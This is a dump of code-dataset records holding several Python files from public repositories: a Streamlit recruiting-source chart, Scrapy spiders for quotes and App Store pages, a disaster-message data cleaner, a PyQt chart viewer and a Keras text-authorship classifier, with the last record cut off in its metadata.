{"seq_id": "26637433905", "text": "from collections import namedtuple\nimport altair as alt\nimport math\nimport datetime\nimport pandas as pd\nimport streamlit as st\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport requests\nfrom io import StringIO\nimport json\nimport os, sys\nimport shutil\n\n\"\"\"\n# 使用 Streamlit! 构建 渠道来源分析报表\n\nEdit `/streamlit_app.py` to customize this app to your heart's desire :heart:\n\nIf you have any questions, checkout our [documentation](https://docs.streamlit.io) and [community\nforums](https://discuss.streamlit.io).\n\nIn the meantime, below is an example of what you can do with just a few lines of code:\n\"\"\"\n\ndaterange = st.date_input(\"投递时间\", (datetime.date(2022, 1, 1), datetime.date(2022, 1, 26)))\nchannel = st.selectbox(\"渠道\", [\"BOSS直聘\", \"51Job\", \"58同城\"])\nposition = st.selectbox(\"职位\", [\"Java后端软件工程师\", \"全栈软件工程师\"])\n\n# 读取数据\nqueryUrl = \"http://116.63.135.62:8006/api/jasper/jasper/query/query\"\nqueryParam = {\n    \"filters\": [],\n    \"reportId\": \"简历来源渠道分析\",\n    \"tenantId\": \"0255b450ecf8139fcd3e0bc38584666d\"\n}\nresponse = requests.post(queryUrl, json=queryParam)\ndata = json.loads(response.text)\nst.json(data)\n#st.write(matplotlib.matplotlib_fname())\n\nif data['code'] == 200:\n    source = \"SimHei.ttf\"\n    target = \"/home/appuser/venv/lib/python3.7/site-packages/matplotlib/mpl-data/fonts/ttf\"\n    ttfFile = os.path.join(target, source)\n    assert not os.path.isabs(source)\n\n    if not os.path.exists(ttfFile):\n        target = os.path.join(target, os.path.dirname(source))\n        st.write(os.listdir(target))\n        if not os.path.exists(target):\n            os.makedirs(target)\n\n        try:\n           shutil.copy(source, target)\n        except IOError as e:\n           print(\"Unable to copy file. %s\" % e)\n        except:\n           print(\"Unexpected error:\", sys.exc_info())\n\n    shutil.rmtree(matplotlib.get_cachedir(), ignore_errors=True)\n\n    df = pd.Series([x['value'] for x in data['data']], index=[x['key'] for x in data['data']])\n\n    plt.rcParams['font.family']=['sans-serif']\n    plt.rcParams['font.sans-serif']=['KaiTi', 'SimHei', 'FangSong']\n    plt.rcParams['axes.unicode_minus'] = False\n    fig, ax = plt.subplots()\n    ax.pie(x = df, labels=df.index)\n\n    st.pyplot(fig)\n", "repo_name": "leonxi/streamlit-example", "sub_path": "streamlit_app.py", "file_name": "streamlit_app.py", "file_ext": "py", "file_size_in_byte": 2300, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "78", "api": [{"api_name": "streamlit.date_input", "line_number": 27, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 27, "usage_type": "call"}, {"api_name": "streamlit.selectbox", "line_number": 28, "usage_type": "call"}, {"api_name": "streamlit.selectbox", "line_number": 29, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 38, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 39, "usage_type": "call"}, {"api_name": "streamlit.json", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 46, "usage_type": "call"}, {"api_name": "os.path", "line_number": 46, "usage_type": "attribute"}, {"api_name": "os.path.isabs", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path", "line_number": 47, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 49, "usage_type": "call"}, {"api_name": "os.path", "line_number": 49, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path", "line_number": 50, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 50, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 51, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path", "line_number": 52, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 53, "usage_type": "call"}, {"api_name": "shutil.copy", "line_number": 56, "usage_type": "call"}, {"api_name": "sys.exc_info", "line_number": 60, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.get_cachedir", "line_number": 62, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 66, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 66, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 67, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 68, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}, {"api_name": "streamlit.pyplot", "line_number": 72, "usage_type": "call"}]}
{"seq_id": "31891738270", "text": "from cgitb import text\nfrom queue import Queue\nfrom winreg import QueryReflectionKey\nimport scrapy\nfrom tutorial.items import TutorialItem\n\nclass QuotesSpider(scrapy.Spider):\n    name = 'quotes'\n    allowed_domains = ['quotes.toscrape.com']\n    start_urls = ['http://quotes.toscrape.com/']\n\n    def parse(self, response):\n        print(type(response))\n        quotes = response.css('.quote')\n        for quote in quotes:\n            item = TutorialItem\n            item['text']   = quote.css('.text::text').extract_first()\n            item['author'] = quote.css('.author::text').extract_first()\n            item['tags']   = quote.css('.tag .tag::text').extract()\n            yield item\n        next = response.css('.pager .next a::attr(href)').extract_fisrt()\n        url  = response.urljoin(next)   # 将相对URL构造成一个绝对的URL\n        yield scrapy.Request(url=url, callback=self.parse)", "repo_name": "CyclingPeach/Crawler-Project", "sub_path": "Python3网络爬虫实战第二版笔记/第15章 Scrapy框架的使用/tutorial/tutorial/tutorial/spiders/quotes.py", "file_name": "quotes.py", "file_ext": "py", "file_size_in_byte": 900, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 13, "dataset": "github-code", "pt": "78", "api": [{"api_name": "scrapy.Spider", "line_number": 7, "usage_type": "attribute"}, {"api_name": "tutorial.items.TutorialItem", "line_number": 16, "usage_type": "name"}, {"api_name": "scrapy.Request", "line_number": 23, "usage_type": "call"}]}
{"seq_id": "42687232756", "text": "import sys\nimport pandas as pd\nfrom sqlalchemy import create_engine\n\ndef load_data(messages_filepath, categories_filepath):\n    \"\"\"Loads message and category data\n\n    Args:\n    messages_filepath: filepath for message csv file\n    categories_filepath: filepath for categories csv file\n\n    Returns:\n    df: DataFrame with merged information from source files\n    \"\"\"\n\n    messages = pd.read_csv(messages_filepath)\n    categories =  pd.read_csv(categories_filepath)\n    df = pd.merge(messages, categories, on='id')\n    return df\n\n\ndef clean_data(df):\n    \"\"\"Cleans category data and removes duplicates\n\n    Args:\n    df: DataFrame from load_data function\n\n    Returns:\n    df: DataFrame with cleaned data\n    \"\"\"\n\n    # create a dataframe of the 36 individual category columns\n    categories = df['categories'].str.split(';',expand=True)\n    # select the first row of the categories dataframe\n    row = list(categories.iloc[0])\n    # use this row to extract a list of new column names for categories.\n    category_colnames = [i.split('-')[0] for i in row]\n    # allocate new column names\n    categories.columns = category_colnames\n\n    for column in categories:\n        # set each value to be the last character of the string\n        categories[column] = categories[column].str.split('-').str[1]\n        # convert column from string to numeric\n        categories[column] = categories[column].astype(str)\n\n    #drop original categories column\n    df.drop('categories',inplace=True, axis=1)\n    # concatenate the original dataframe with the new `categories` dataframe\n    df = pd.concat([df, categories], axis=1).reindex(df.index)\n    # drop duplicates\n    df.drop_duplicates(keep='first', inplace=True)\n\n    return df\n\n\ndef save_data(df, database_filename):\n    \"\"\"Saves DataFrame to SQLite Database\n\n    Args:\n    df: cleaned DataFrame from clean_data function\n    database_filename: path for database\n    \"\"\"\n\n    engine = create_engine('sqlite:///'+database_filename)\n    df.to_sql('table_messages', engine, index=False)\n\n\ndef main():\n    if len(sys.argv) == 4:\n\n        messages_filepath, categories_filepath, database_filepath = sys.argv[1:]\n\n        print('Loading data...\\n    MESSAGES: {}\\n    CATEGORIES: {}'\n              .format(messages_filepath, categories_filepath))\n        df = load_data(messages_filepath, categories_filepath)\n\n        print('Cleaning data...')\n        df = clean_data(df)\n\n        print('Saving data...\\n    DATABASE: {}'.format(database_filepath))\n        save_data(df, database_filepath)\n\n        print('Cleaned data saved to database!')\n\n    else:\n        print('Please provide the filepaths of the messages and categories '\\\n              'datasets as the first and second argument respectively, as '\\\n              'well as the filepath of the database to save the cleaned data '\\\n              'to as the third argument. \\n\\nExample: python process_data.py '\\\n              'disaster_messages.csv disaster_categories.csv '\\\n              'DisasterResponse.db')\n\n\nif __name__ == '__main__':\n    main()\n", "repo_name": "ewarest/disaster_response", "sub_path": "data/process_data.py", "file_name": "process_data.py", "file_ext": "py", "file_size_in_byte": 3040, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pandas.read_csv", "line_number": 16, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 17, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 18, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 50, "usage_type": "call"}, {"api_name": "sqlalchemy.create_engine", "line_number": 65, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 70, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 72, "usage_type": "attribute"}]}
{"seq_id": "290013638", "text": "#! usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport scrapy\nfrom tutorial.items import TutorialItem\nfrom urllib import unquote\nimport re\n\n\nclass AppleSpider(scrapy.Spider):\n    name = 'apple'\n    allowed_domains = ['itunes.apple.com']\n    current_category = {}\n\n    def start_requests(self):\n        yield scrapy.Request('https://itunes.apple.com/cn/genre/ios/id36?mt=8', self.parse)\n\n    def parse(self, response):\n        my_item = TutorialItem()\n        app_url = response.url\n        app_name = response.xpath('//h1[@itemprop=\"name\"]/text()').extract()\n        if len(app_name) > 0:\n            category = response.meta['category']\n            my_item['app_name'] = app_name[0]\n            app_category = response.xpath('//span[@itemprop=\"applicationCategory\"]/text()').extract()\n            if len(app_category) > 0:\n                my_item['app_category'] = category[0]\n            content = response.xpath('//p[@itemprop=\"description\"]/text()').extract()\n            temp_content = \"\"\n            if len(content) > 0:\n                for c in content:\n                    temp_content += c\n                my_item['app_content'] = temp_content\n                if my_item['app_category'] in self.current_category:\n                    self.current_category[my_item['app_category']] += 1\n                else:\n                    self.current_category[my_item['app_category']] = 1\n\n                my_item['app_rank'] = self.current_category[my_item['app_category']]\n                my_item['app_url'] = app_url\n                my_item['app_developer'] = response.xpath('//div[@class=\"left\"]//h2/text()').extract()[0]\n        yield my_item\n        decode_url = unquote(app_url)\n        category = re.findall(r\"https://itunes.apple.com/cn/genre/ios-(.*)/.*?\", decode_url)\n\n        for url in response.xpath('//div[@class=\"grid3-column\"]//ul//li//a/@href').extract():\n            yield scrapy.Request(url, meta={'category':category}, callback=self.parse)\n\n", "repo_name": "luotuo/spider-for-apple-store", "sub_path": "tutorial/spiders/apple.py", "file_name": "apple.py", "file_ext": "py", "file_size_in_byte": 1955, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 19, "dataset": "github-code", "pt": "78", "api": [{"api_name": "scrapy.Spider", "line_number": 10, "usage_type": "attribute"}, {"api_name": "scrapy.Request", "line_number": 16, "usage_type": "call"}, {"api_name": "tutorial.items.TutorialItem", "line_number": 19, "usage_type": "call"}, {"api_name": "urllib.unquote", "line_number": 43, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 44, "usage_type": "call"}, {"api_name": "scrapy.Request", "line_number": 47, "usage_type": "call"}]}
{"seq_id": "31117265622", "text": "# -*- coding: utf-8 -*- #\nimport sys\nfrom PyQt5.QtGui import QPixmap\nfrom PyQt5.QtWidgets import QMainWindow, QApplication, QTableView, QVBoxLayout, QWidget, QPushButton, QGridLayout, \\\n    QGroupBox, QLabel\nimport view\nclass Demo(QMainWindow):\n    def __init__(self):\n        self.app = QApplication(sys.argv)\n        super().__init__()\n        self.ui = view.Ui_MainWindow()\n        self.ui.setupUi(self)\n        self.label = QLabel(self.ui.label)\n        self.label.setGeometry(0, 0, 780, 470)\n        self.init_ui()\n    def init_ui(self):\n        self.ui.btn1.clicked.connect(self.ciyun)\n        self.ui.btn2.clicked.connect(self.goodbadsquard)\n        self.ui.btn3.clicked.connect(self.pingjirenshubingzhuangtu)\n        self.ui.btn4.clicked.connect(self.pingjirenshuzhifangtu)\n        self.ui.btn5.clicked.connect(self.diananxingshuliangfenbu)\n        self.ui.btn6.clicked.connect(self.pianduanhaopingrenshufenbuzhifangtu)\n        self.ui.btn7.clicked.connect(self.pianduanhaopingrenshufenbubingzhuangtu)\n        self.ui.btn8.clicked.connect(self.pingxingjirenshufenbubingzhuangtu)\n        self.ui.btn9.clicked.connect(self.pinglunnianfenzhifangtu)\n        self.ui.btn10.clicked.connect(self.doubanpingfenfenbuzhifnagtu)\n\n    def ciyun(self):\n        # 从文件读取词云图片并显示\n        pixmap = QPixmap('关键词词云.png').scaled(780,470)\n\n        self.label.setPixmap(pixmap)\n    def goodbadsquard(self):\n        # 从文件读取直方图图片并显示\n        pixmap = QPixmap('好坏评级人数分布直方图.png').scaled(780,470)\n        self.label.setPixmap(pixmap)\n    def pingjirenshubingzhuangtu(self):\n        pixmap = QPixmap('好坏评级人数分布饼状图.png').scaled(780,470)\n        self.label.setPixmap(pixmap)\n    def pingjirenshuzhifangtu(self):\n        pixmap = QPixmap('每个评分人数分布图直方图.png').scaled(780,470)\n        self.label.setPixmap(pixmap)\n    def diananxingshuliangfenbu(self):\n        pixmap = QPixmap('点赞星数量分布饼状图.png').scaled(780,470)\n        self.label.setPixmap(pixmap)\n    def pianduanhaopingrenshufenbuzhifangtu(self):\n        pixmap = QPixmap('片段好评人数分布直方图.png').scaled(780,470)\n        self.label.setPixmap(pixmap)\n    def pianduanhaopingrenshufenbubingzhuangtu(self):\n        pixmap = QPixmap('片段好评人数分布饼状图.png').scaled(780,470)\n        self.label.setPixmap(pixmap)\n    def pingxingjirenshufenbubingzhuangtu(self):\n        pixmap = QPixmap('评星级人数分布饼状图.png').scaled(780,470)\n        self.label.setPixmap(pixmap)\n    def pinglunnianfenzhifangtu(self):\n        pixmap = QPixmap('评论年份分布直方图.png').scaled(780,470)\n        self.label.setPixmap(pixmap)\n    def doubanpingfenfenbuzhifnagtu(self):\n        pixmap = QPixmap('豆瓣评分人数分布直方图.png').scaled(780,470)\n        self.label.setPixmap(pixmap)\nif __name__ == '__main__':\n    app = QApplication(sys.argv)\n    demo = Demo()\n    demo.show()\n    sys.exit(app.exec_())", "repo_name": "Noah0115/doubanQT", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 3009, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "PyQt5.QtWidgets.QMainWindow", "line_number": 7, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 9, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 9, "usage_type": "attribute"}, {"api_name": "view.Ui_MainWindow", "line_number": 11, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 13, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QPixmap", "line_number": 30, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QPixmap", "line_number": 35, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QPixmap", "line_number": 38, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QPixmap", "line_number": 41, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QPixmap", "line_number": 44, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QPixmap", "line_number": 47, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QPixmap", "line_number": 50, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QPixmap", "line_number": 53, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QPixmap", "line_number": 56, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QPixmap", "line_number": 59, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 62, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 62, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 65, "usage_type": "call"}]}
{"seq_id": "70312918331", "text": "import numpy as np\nimport tensorflow as tf\nfrom tensorflow import keras\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import LabelEncoder\nimport pandas as pd\nfrom keras.callbacks import EarlyStopping\nimport matplotlib.pyplot as plt\n# import para Regularización del modelo\nfrom keras.regularizers import l1, l2\nfrom sklearn.metrics import confusion_matrix\nimport seaborn as sns\n\n\"\"\"\nLectura del dataset\n\"\"\"\n\ndf = pd.read_csv('data_set.csv')\n\ntextos = df['datos'].tolist() # Lista de textos\n\nautores = df['autores'].tolist() # Lista de autores correspondientes a los textos\n\nlabel_encoder = LabelEncoder()\ny = label_encoder.fit_transform(autores)\nprint(\"Clasificando autores\")\n\n\"\"\"\"\n División del dataset en entrenamiento y prueba\n\"\"\"\n\nx_train, x_test, y_train, y_test = train_test_split(textos, y, test_size=0.2, random_state=42)\nprint(\"Datos divididos\")\n\n\"\"\"\n Tokenización de los textos (10,000 palabras)\n\"\"\"\n\ntokenizer = keras.preprocessing.text.Tokenizer(num_words=10000)\ntokenizer.fit_on_texts(x_train)\nprint(\"Datos tokenizados\")\n\nx_train_seq = tokenizer.texts_to_sequences(x_train)\nx_test_seq = tokenizer.texts_to_sequences(x_test)\nprint(\"Datos secuenciados\")\n\nmax_seq_length = max(len(seq) for seq in x_train_seq)\nx_train_seq = keras.preprocessing.sequence.pad_sequences(x_train_seq, maxlen=max_seq_length)\nx_test_seq = keras.preprocessing.sequence.pad_sequences(x_test_seq, maxlen=max_seq_length)\nprint(\"Datos secuenciados y paddeados\")\n\n\"\"\"\n Creación y compilación del modelo\n\"\"\"\nmodel = keras.Sequential([\n    keras.layers.Embedding(input_dim=10000, output_dim=64, input_length=max_seq_length),\n    keras.layers.Conv1D(128, 5, activation='relu'),\n    keras.layers.LSTM(64),\n    keras.layers.Dense(64, activation='relu'),\n    keras.layers.Dense(len(label_encoder.classes_), activation='softmax',\n                       kernel_regularizer=l2(0.001),\n                       activity_regularizer=l1(0.001))\n])\nprint(\"Modelo construido\")\n\nmodel.compile(loss='sparse_categorical_crossentropy', optimizer='adam', metrics=['accuracy'])\nprint(\"Modelo compilado\")\n\n\"\"\" Entrenamiento del modelo. Este estará monitoreando el valor de \"val_accuracy\" para saber si este mejora en un 4% con una paciencia de 25 epocas.\n\"\"\"\n# Crea un objeto EarlyStopping\nearly_stopping = EarlyStopping(monitor='val_accuracy', min_delta=0.04, patience=25)\n# Entrena el modelo con EarlyStopping\nhistory = model.fit(x_train_seq, y_train, epochs=100, batch_size=32, validation_data=(x_test_seq, y_test),\n                    callbacks=[early_stopping])\n# Imprime un mensaje cuando el entrenamiento se detiene\nprint(\"Entrenamiento detenido por EarlyStopping\")\n\n\"\"\"\nGuarda el modelo entrenado para su uso posterior\n\"\"\"\n\nmodel.save('modelo.h5')\n\n\"\"\"\nGráficas de entrenamiento Accuracy y Loss\n\"\"\"\n\n# Trazar las curvas de perdida y precisión\nprint(\"Trazamiento de las curvas de pérdida y precisión.\")\ntrain_loss = history.history['loss']\ntrain_accuracy = history.history['accuracy']\nval_loss = history.history['val_loss']\nval_accuracy = history.history['val_accuracy']\n\n# Trazar las curvas de perdida\nprint(\"Gráfica de perdida: \")\nplt.plot(train_loss, label='Pérdida de entrenamiento')\nplt.plot(val_loss, label='Pérdida de validación')\nplt.xlabel('Epocas')\nplt.ylabel('Perdida')\nplt.title(\"Gráfica de perdida\")\nplt.legend()\nplt.show()\n\n# Trazar las curvas de precisión\nprint(\"\\n\\nGráfica de precisión: \")\nplt.plot(train_accuracy, label='Precisión de entrenamiento')\nplt.plot(val_accuracy, label='Precisión de validación')\nplt.xlabel('Epocas')\nplt.ylabel('Precisión')\nplt.title(\"Gráfica de precisión\")\nplt.legend()\nplt.show()\n\n\"\"\"\nEvaluación del modelo\n\"\"\"\n\nloss, accuracy = model.evaluate(x_test_seq, y_test)\nprint('Perdida:', loss)\nprint('Precisión:', accuracy)\n\n\"\"\"\nPredicción de textos en el modelo usando un archivo de comas separadas (csv)\n\"\"\"\n\n# Lee el archivo CSV que contiene los nuevos textos\nnuevos_df = pd.read_csv('nuevos_textos.csv')\n# Obtiene los textos de los nuevos textos\nnuevos_textos = nuevos_df['nuevos'].tolist()\n# Tokeniza y secuencia los nuevos textos\nnuevos_textos_seq = tokenizer.texts_to_sequences(nuevos_textos)\nnuevos_textos_seq = keras.preprocessing.sequence.pad_sequences(nuevos_textos_seq, maxlen=max_seq_length)\n\n\"\"\"\nResultados de la predicción\n\"\"\"\n\n# Predice los autores de los nuevos textos\npredictions_nuevos = model.predict(nuevos_textos_seq)\npredicted_authors_nuevos = label_encoder.inverse_transform(np.argmax(predictions_nuevos, axis=1))\ncontador = 0\nfor texto, author in zip(nuevos_textos, predicted_authors_nuevos):\n    contador += 1\n    print(f'Texto: \"{contador}\" | Autor probable: {author}')\n\n\"\"\"\nObtener los resultados de la predicción en un archivo csv\n\"\"\"\n\n# Leer el archivo CSV que contiene los nuevos textos\nnuevos_df = pd.read_csv('nuevos_textos.csv')\n\n# Obtener los autores reales de los nuevos textos desde el archivo CSV\nautores_reales_nuevos = nuevos_df['autores'].tolist()\n\n# Comparar los autores reales con los autores predichos para los nuevos textos\naciertos_nuevos = [y_pred == autor_real for y_pred, autor_real in zip(predicted_authors_nuevos, autores_reales_nuevos)]\n\n# Calcular la cantidad de textos en los nuevos datos\ncantidad_textos_nuevos = len(aciertos_nuevos)\n\n# Calcular la cantidad de aciertos en los nuevos textos\ncantidad_aciertos_nuevos = sum(aciertos_nuevos)\n\n# Calcular la precisión del modelo en los nuevos textos\nprecision_nuevos = cantidad_aciertos_nuevos / cantidad_textos_nuevos\n\n# Expresar la precisión en porcentaje con dos decimales\nprecision_porcentaje = precision_nuevos * 100\n\nprint(f'\\nCantidad de textos en los nuevos datos: {cantidad_textos_nuevos}')\nprint(f'Cantidad de aciertos en los nuevos textos: {cantidad_aciertos_nuevos}')\nprint(f'Precisión del modelo en los nuevos textos: {precision_porcentaje:.2f}%')\n\n\"\"\"\nGuarda los resultados de la predicción en un archivo csv\n\"\"\"\n\n# Crear un DataFrame con los resultados y los autores reales y probables, así como la cantidad de textos, cantidad de aciertos y precisión\nresultados_df = pd.DataFrame({\n    'Texto': nuevos_df['nuevos'],\n    'Autor Real': autores_reales_nuevos,\n    'Autor Probable': predicted_authors_nuevos\n})\n# Guardar los resultados en un nuevo archivo CSV\nresultados_df.to_csv('resultados_modelo.csv', index=False)\n\n\"\"\"\nCompara los resultados de la predicción con los autores reales\n\"\"\"\n\n# Leer el archivo 'resultados_modelo.csv'\nresultados_df = pd.read_csv('resultados_modelo.csv')\n\n# Comparar las columnas 'Autor Real' y 'Autor Probable'\nresultados_df['Aciertos'] = resultados_df['Autor Real'] == resultados_df['Autor Probable']\n\n# Convertir el valor booleano True/False a 1/0\nresultados_df['Aciertos'] = resultados_df['Aciertos'].astype(int)\n\n# Guardar los resultados actualizados en un nuevo archivo CSV\nresultados_df.to_csv('resultados_modelo.csv', index=False)\n\n\"\"\"\nCrea una gráfica de barras con los resultados de la predicción\n\"\"\"\n\n# Leer el archivo 'resultados_modelo.csv'\nresultados_df = pd.read_csv('resultados_modelo.csv')\n\n# Comparar las columnas 'Autor Real' y 'Autor Probable'\nresultados_df['Aciertos'] = resultados_df['Autor Real'] == resultados_df['Autor Probable']\n\n# Convertir el valor booleano True/False a 1/0\nresultados_df['Aciertos'] = resultados_df['Aciertos'].astype(int)\n\n# Calcular la cantidad de aciertos y diferencias\ncantidad_aciertos = resultados_df['Aciertos'].sum()\ncantidad_diferencias = len(resultados_df) - cantidad_aciertos\n\n# Calcular el total de textos\ntotal_textos = len(resultados_df)\n\n# Crear una gráfica de barras\netiquetas = ['Aciertos', 'Diferencias']\nvalores = [cantidad_aciertos, cantidad_diferencias]\nplt.bar(etiquetas, valores, color=['green', 'red'])\n\n# Agregar etiquetas a los ejes\nplt.xlabel('Resultados')\nplt.ylabel('Cantidad')\nplt.title('Resultados del Modelo')\n\n# Mostrar el total de textos en el eje y\nplt.ylim(0, total_textos)\n\n# Agregar el valor del total de textos como una etiqueta en la gráfica\nfor i, valor in enumerate(valores):\n    plt.text(i, valor, str(valor), ha='center', va='bottom')\n\n# Mostrar la gráfica\nplt.show()\n\n\"\"\"\nCrea una grafica de la matriz de confusión\n\"\"\"\n\n# Leer el archivo 'resultados_modelo.csv'\nresultados_df = pd.read_csv('resultados_modelo.csv')\n\n# Crear una matriz de confusión\nmatriz_confusion = confusion_matrix(resultados_df['Autor Real'], resultados_df['Autor Probable'])\n\n# Crear una gráfica de matriz de confusión\nsns.heatmap(matriz_confusion, annot=True, fmt='d', cmap='Blues')\n\n# Agregar etiquetas a los ejes\nplt.xlabel('Autor Probable')\nplt.ylabel('Autor Real')\nplt.title('Matriz de Confusión')\n\n# Mostrar la gráfica\nplt.show()", "repo_name": "Michinded/Modelo-Clasificador-de-Textos-por-PLN-CNN-Y-LSMT", "sub_path": "nlp_text_classifier_model_v1.py", "file_name": "nlp_text_classifier_model_v1.py", "file_ext": "py", "file_size_in_byte": 8628, "program_lang": "python", "lang": "es", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pandas.read_csv", "line_number": 18, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.LabelEncoder", "line_number": 24, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 32, "usage_type": "call"}, {"api_name": "tensorflow.keras.preprocessing.text.Tokenizer", "line_number": 39, "usage_type": "call"}, {"api_name": "tensorflow.keras.preprocessing", "line_number": 39, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 39, "usage_type": "name"}, {"api_name": "tensorflow.keras.preprocessing.sequence.pad_sequences", "line_number": 48, "usage_type": "call"}, {"api_name": "tensorflow.keras.preprocessing", "line_number": 48, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 48, "usage_type": "name"}, {"api_name": "tensorflow.keras.preprocessing.sequence.pad_sequences", "line_number": 49, "usage_type": "call"}, {"api_name": "tensorflow.keras.preprocessing", "line_number": 49, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 49, "usage_type": "name"}, {"api_name": "tensorflow.keras.Sequential", "line_number": 55, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 55, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Embedding", "line_number": 56, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 56, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 56, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Conv1D", "line_number": 57, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 57, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 57, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.LSTM", "line_number": 58, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 58, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 58, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 59, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 59, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 59, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 60, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 60, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 60, "usage_type": "name"}, {"api_name": "keras.regularizers.l2", "line_number": 61, "usage_type": "call"}, {"api_name": "keras.regularizers.l1", "line_number": 62, "usage_type": "call"}, {"api_name": "keras.callbacks.EarlyStopping", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 98, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 98, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 99, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 99, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 100, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 100, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 101, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 101, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 102, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 102, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 103, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 103, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 104, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 104, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 108, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 108, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 109, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 109, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 110, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 